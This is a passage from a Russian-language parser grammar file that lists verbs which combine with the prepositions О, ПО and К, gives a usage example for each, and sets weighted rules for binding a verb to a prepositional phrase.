rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ)
rus_verbs:колотиться{}, // сердце его колотилось о ребра
rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей.
rus_verbs:биться{}, // биться головой о стену? (биться о)
rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о)
rus_verbs:разбиваться{}, // волны разбивались о скалу
rus_verbs:разбивать{}, // Разбивает голову о прутья клетки.
rus_verbs:облокотиться{}, // облокотиться о стену
rus_verbs:точить{}, // точить о точильный камень
rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень
rus_verbs:потереться{}, // потереться о дерево
rus_verbs:ушибиться{}, // ушибиться о дерево
rus_verbs:тереться{}, // тереться о ствол
rus_verbs:шмякнуться{}, // шмякнуться о землю
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:тереть{}, // тереть о камень
rus_verbs:потереть{}, // потереть о колено
rus_verbs:удариться{}, // удариться о край
rus_verbs:споткнуться{}, // споткнуться о камень
rus_verbs:запнуться{}, // запнуться о камень
rus_verbs:запинаться{}, // запинаться о камни
rus_verbs:ударяться{}, // ударяться о бортик
rus_verbs:стукнуться{}, // стукнуться о бортик
rus_verbs:стукаться{}, // стукаться о бортик
rus_verbs:опереться{}, // Он опёрся локтями о стол.
rus_verbs:плескаться{} // Вода плещется о берег.
}
fact гл_предл
{
if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:вин } }
then return false,-5
}
wordentry_set Гл_О_предл={
rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ)
rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ)
rus_verbs:РАССПРАШИВАТЬ{}, //
rus_verbs:слушать{}, // ты будешь слушать о них?
rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно
rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ)
rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ)
rus_verbs:сложить{}, // о вас сложены легенды
rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О)
rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О)
rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О)
rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О)
rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О)
rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О)
rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О)
rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О)
rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О)
rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О)
rus_verbs:осведомиться{}, // офицер осведомился о цели визита
rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о)
rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О)
rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о)
rus_verbs:зайти{}, // Разговор зашёл о политике.
rus_verbs:порассказать{}, // порассказать о своих путешествиях
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви
деепричастие:спев{}, прилагательное:спевший{ вид:соверш },
прилагательное:спетый{},
rus_verbs:напеть{},
rus_verbs:разговаривать{}, // разговаривать с другом о жизни
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
//rus_verbs:заботиться{}, // заботиться о престарелых родителях
rus_verbs:раздумывать{}, // раздумывать о новой работе
rus_verbs:договариваться{}, // договариваться о сумме компенсации
rus_verbs:молить{}, // молить о пощаде
rus_verbs:отзываться{}, // отзываться о книге
rus_verbs:подумывать{}, // подумывать о новом подходе
rus_verbs:поговаривать{}, // поговаривать о загадочном звере
rus_verbs:обмолвиться{}, // обмолвиться о проклятии
rus_verbs:условиться{}, // условиться о поддержке
rus_verbs:призадуматься{}, // призадуматься о последствиях
rus_verbs:известить{}, // известить о поступлении
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:напевать{}, // напевать о любви
rus_verbs:помышлять{}, // помышлять о новом деле
rus_verbs:переговорить{}, // переговорить о правилах
rus_verbs:повествовать{}, // повествовать о событиях
rus_verbs:слыхивать{}, // слыхивать о чудище
rus_verbs:потолковать{}, // потолковать о планах
rus_verbs:проговориться{}, // проговориться о планах
rus_verbs:умолчать{}, // умолчать о штрафах
rus_verbs:хлопотать{}, // хлопотать о премии
rus_verbs:уведомить{}, // уведомить о поступлении
rus_verbs:горевать{}, // горевать о потере
rus_verbs:запамятовать{}, // запамятовать о важном мероприятии
rus_verbs:заикнуться{}, // заикнуться о прибавке
rus_verbs:информировать{}, // информировать о событиях
rus_verbs:проболтаться{}, // проболтаться о кладе
rus_verbs:поразмыслить{}, // поразмыслить о судьбе
rus_verbs:заикаться{}, // заикаться о деньгах
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:печься{}, // печься о всеобщем благе
rus_verbs:разглагольствовать{}, // разглагольствовать о правах
rus_verbs:размечтаться{}, // размечтаться о будущем
rus_verbs:лепетать{}, // лепетать о невиновности
rus_verbs:грезить{}, // грезить о большой и чистой любви
rus_verbs:залепетать{}, // залепетать о сокровищах
rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде
rus_verbs:протрубить{}, // протрубить о победе
rus_verbs:извещать{}, // извещать о поступлении
rus_verbs:трубить{}, // трубить о поимке разбойников
rus_verbs:осведомляться{}, // осведомляться о судьбе
rus_verbs:поразмышлять{}, // поразмышлять о неизбежном
rus_verbs:слагать{}, // слагать о подвигах викингов
rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи
rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании
rus_verbs:закидывать{}, // закидывать сообщениями об ошибках
rus_verbs:базарить{}, // пацаны базарили о телках
rus_verbs:балагурить{}, // мужики балагурили о новом председателе
rus_verbs:балакать{}, // мужики балакали о новом председателе
rus_verbs:беспокоиться{}, // Она беспокоится о детях
rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве
rus_verbs:возмечтать{}, // возмечтать о счастливом мире
rus_verbs:вопить{}, // Кто-то вопил о несправедливости
rus_verbs:сказать{}, // сказать что-то новое о ком-то
rus_verbs:знать{}, // знать о ком-то что-то пикантное
rus_verbs:подумать{}, // подумать о чём-то
rus_verbs:думать{}, // думать о чём-то
rus_verbs:узнать{}, // узнать о происшествии
rus_verbs:помнить{}, // помнить о задании
rus_verbs:просить{}, // просить о коде доступа
rus_verbs:забыть{}, // забыть о своих обязанностях
rus_verbs:сообщить{}, // сообщить о заложенной мине
rus_verbs:заявить{}, // заявить о пропаже
rus_verbs:задуматься{}, // задуматься о смерти
rus_verbs:спрашивать{}, // спрашивать о поступлении товара
rus_verbs:догадаться{}, // догадаться о причинах
rus_verbs:договориться{}, // договориться о собеседовании
rus_verbs:мечтать{}, // мечтать о сцене
rus_verbs:поговорить{}, // поговорить о наболевшем
rus_verbs:размышлять{}, // размышлять о насущном
rus_verbs:напоминать{}, // напоминать о себе
rus_verbs:пожалеть{}, // пожалеть о содеянном
rus_verbs:ныть{}, // ныть о прибавке
rus_verbs:сообщать{}, // сообщать о победе
rus_verbs:догадываться{}, // догадываться о первопричине
rus_verbs:поведать{}, // поведать о тайнах
rus_verbs:умолять{}, // умолять о пощаде
rus_verbs:сожалеть{}, // сожалеть о случившемся
rus_verbs:жалеть{}, // жалеть о случившемся
rus_verbs:забывать{}, // забывать о случившемся
rus_verbs:упоминать{}, // упоминать о предках
rus_verbs:позабыть{}, // позабыть о своем обещании
rus_verbs:запеть{}, // запеть о любви
rus_verbs:скорбеть{}, // скорбеть о усопшем
rus_verbs:задумываться{}, // задумываться о смене работы
rus_verbs:позаботиться{}, // позаботиться о престарелых родителях
rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината
rus_verbs:попросить{}, // попросить о замене
rus_verbs:предупредить{}, // предупредить о замене
rus_verbs:предупреждать{}, // предупреждать о замене
rus_verbs:твердить{}, // твердить о замене
rus_verbs:заявлять{}, // заявлять о подлоге
rus_verbs:петь{}, // певица, поющая о лете
rus_verbs:проинформировать{}, // проинформировать о переговорах
rus_verbs:порассказывать{}, // порассказывать о событиях
rus_verbs:послушать{}, // послушать о новинках
rus_verbs:заговорить{}, // заговорить о плате
rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой.
rus_verbs:оставить{}, // Он оставил о себе печальную память.
rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях
rus_verbs:спорить{}, // они спорили о законе
глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия.
глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия.
rus_verbs:прочитать{}, // Я прочитал о тебе
rus_verbs:услышать{}, // Я услышал о нем
rus_verbs:помечтать{}, // Девочки помечтали о принце
rus_verbs:слышать{}, // Мальчик слышал о приведениях
rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке
rus_verbs:грустить{}, // Я грущу о тебе
rus_verbs:осведомить{}, // о последних достижениях науки
rus_verbs:рассказывать{}, // Антонио рассказывает о работе
rus_verbs:говорить{}, // говорим о трех больших псах
rus_verbs:идти{} // Вопрос идёт о войне.
}
fact гл_предл
{
if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } }
then return true
}
// Мы поделились впечатлениями о выставке.
// ^^^^^^^^^^ ^^^^^^^^^^
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:о{} *:*{} }
then return false,-5
}
#endregion Предлог_О
#region Предлог_ПО
// ------------------- С ПРЕДЛОГОМ 'ПО' ----------------------
// для этих глаголов - запрещаем связывание с ПО+дат.п.
wordentry_set Глаг_ПО_Дат_Запр=
{
rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:закончить{},
rus_verbs:мочь{},
rus_verbs:хотеть{}
}
fact гл_предл
{
if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } }
then return false,-10
}
// По умолчанию разрешаем связывание в паттернах типа
// Я иду по шоссе
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:дат } }
then return true
}
wordentry_set Глаг_ПО_Вин=
{
rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ)
rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО)
rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера
rus_verbs:засадить{}, // засадить по рукоятку
rus_verbs:увязнуть{} // увязнуть по колено
}
fact гл_предл
{
if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:вин } }
then return false,-5
}
#endregion Предлог_ПО
#region Предлог_К
// ------------------- С ПРЕДЛОГОМ 'К' ----------------------
wordentry_set Гл_К_Дат={
rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна.
rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску.
прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ)
rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ)
rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ)
rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ)
rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ)
rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ)
rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ)
rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ)
rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ)
rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, //
rus_verbs:ПРИНОРОВИТЬСЯ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ)
rus_verbs:СПИКИРОВАТЬ{}, //
rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С)
rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ)
rus_verbs:ПРОТЯНУТЬ{}, //
rus_verbs:ТЯНУТЬ{}, //
rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,,
rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, //
rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, //
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, //
rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ)
rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке.
rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ)
rus_verbs:хотеть{},
rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ)
rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ)
rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ)
rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ)
rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ)
rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ)
rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ)
rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ)
rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ)
rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г
rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ)
rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ)
rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К)
rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К)
rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К)
rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К)
rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К)
прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К)
безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К)
rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К)
rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К)
rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К)
rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К)
rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К)
rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К)
rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К)
rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К)
rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К)
rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К)
rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К)
rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К)
rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К)
rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К)
rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К)
rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К)
rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К)
rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К)
rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К)
rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К)
rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К)
rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К)
rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К)
глагол:быть{}, // к тебе есть вопросы.
прилагательное:равнодушный{}, // Он равнодушен к музыке.
rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К)
rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К)
инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К)
rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К)
rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к)
rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К)
rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К)
rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К)
rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К)
rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К)
rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К)
rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К)
rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к)
rus_verbs:просить{}, // Директор просит вас к себе. (просить к)
rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к)
rus_verbs:присесть{}, // старик присел к огню. (присесть к)
rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К)
rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к)
rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к)
rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К)
rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К)
rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К)
rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К)
rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к)
rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К)
rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К)
rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К)
rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К)
rus_verbs:подходить{}, // цвет подходил ей к лицу.
rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К)
rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К)
rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К)
rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К)
rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К)
rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К)
rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к)
rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К)
rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К)
rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к)
rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к)
rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К)
rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К)
rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К)
rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К)
rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к)
rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к)
rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к)
rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К)
rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к)
rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к)
rus_verbs:требовать{}, // вас требует к себе император. (требовать к)
rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к)
rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к)
rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К)
rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К)
rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к)
rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К)
rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К)
rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к)
rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к)
rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к)
rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К)
rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к)
rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к)
rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к)
rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К)
rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К)
rus_verbs:выехать{}, // почти сразу мы выехали к реке.
rus_verbs:пододвигаться{}, // пододвигайся к окну
rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам.
rus_verbs:представить{}, // Его представили к ордену.
rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу.
rus_verbs:выскочить{}, // тем временем они выскочили к реке.
rus_verbs:выйти{}, // тем временем они вышли к лестнице.
rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе.
rus_verbs:приложить{}, // приложить к детали повышенное усилие
rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку)
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю
rus_verbs:прыгать{}, // прыгать к хозяину на стол
rus_verbs:приглашать{}, // приглашать к доктору
rus_verbs:рваться{}, // Чужие люди рвутся к власти
rus_verbs:понестись{}, // понестись к обрыву
rus_verbs:питать{}, // питать привязанность к алкоголю
rus_verbs:заехать{}, // Коля заехал к Оле
rus_verbs:переехать{}, // переехать к родителям
rus_verbs:ползти{}, // ползти к дороге
rus_verbs:сводиться{}, // сводиться к элементарному действию
rus_verbs:добавлять{}, // добавлять к общей сумме
rus_verbs:подбросить{}, // подбросить к потолку
rus_verbs:призывать{}, // призывать к спокойствию
rus_verbs:пробираться{}, // пробираться к партизанам
rus_verbs:отвезти{}, // отвезти к родителям
rus_verbs:применяться{}, // применяться к уравнению
rus_verbs:сходиться{}, // сходиться к точному решению
rus_verbs:допускать{}, // допускать к сдаче зачета
rus_verbs:свести{}, // свести к нулю
rus_verbs:придвинуть{}, // придвинуть к мальчику
rus_verbs:подготовить{}, // подготовить к печати
rus_verbs:подобраться{}, // подобраться к оленю
rus_verbs:заторопиться{}, // заторопиться к выходу
rus_verbs:пристать{}, // пристать к берегу
rus_verbs:поманить{}, // поманить к себе
rus_verbs:припасть{}, // припасть к алтарю
rus_verbs:притащить{}, // притащить к себе домой
rus_verbs:прижимать{}, // прижимать к груди
rus_verbs:подсесть{}, // подсесть к симпатичной девочке
rus_verbs:придвинуться{}, // придвинуться к окну
rus_verbs:отпускать{}, // отпускать к другу
rus_verbs:пригнуться{}, // пригнуться к земле
rus_verbs:пристроиться{}, // пристроиться к колонне
rus_verbs:сгрести{}, // сгрести к себе
rus_verbs:удрать{}, // удрать к цыганам
rus_verbs:прибавиться{}, // прибавиться к общей сумме
rus_verbs:присмотреться{}, // присмотреться к покупке
rus_verbs:подкатить{}, // подкатить к трюму
rus_verbs:клонить{}, // клонить ко сну
rus_verbs:проследовать{}, // проследовать к выходу
rus_verbs:пододвинуть{}, // пододвинуть к себе
rus_verbs:применять{}, // применять к сотрудникам
rus_verbs:прильнуть{}, // прильнуть к экранам
rus_verbs:подвинуть{}, // подвинуть к себе
rus_verbs:примчаться{}, // примчаться к папе
rus_verbs:подкрасться{}, // подкрасться к жертве
rus_verbs:привязаться{}, // привязаться к собаке
rus_verbs:забирать{}, // забирать к себе
rus_verbs:прорваться{}, // прорваться к кассе
rus_verbs:прикасаться{}, // прикасаться к коже
rus_verbs:уносить{}, // уносить к себе
rus_verbs:подтянуться{}, // подтянуться к месту
rus_verbs:привозить{}, // привозить к ветеринару
rus_verbs:подползти{}, // подползти к зайцу
rus_verbs:приблизить{}, // приблизить к глазам
rus_verbs:применить{}, // применить к уравнению простое преобразование
rus_verbs:приглядеться{}, // приглядеться к изображению
rus_verbs:приложиться{}, // приложиться к ручке
rus_verbs:приставать{}, // приставать к девчонкам
rus_verbs:запрещаться{}, // запрещаться к показу
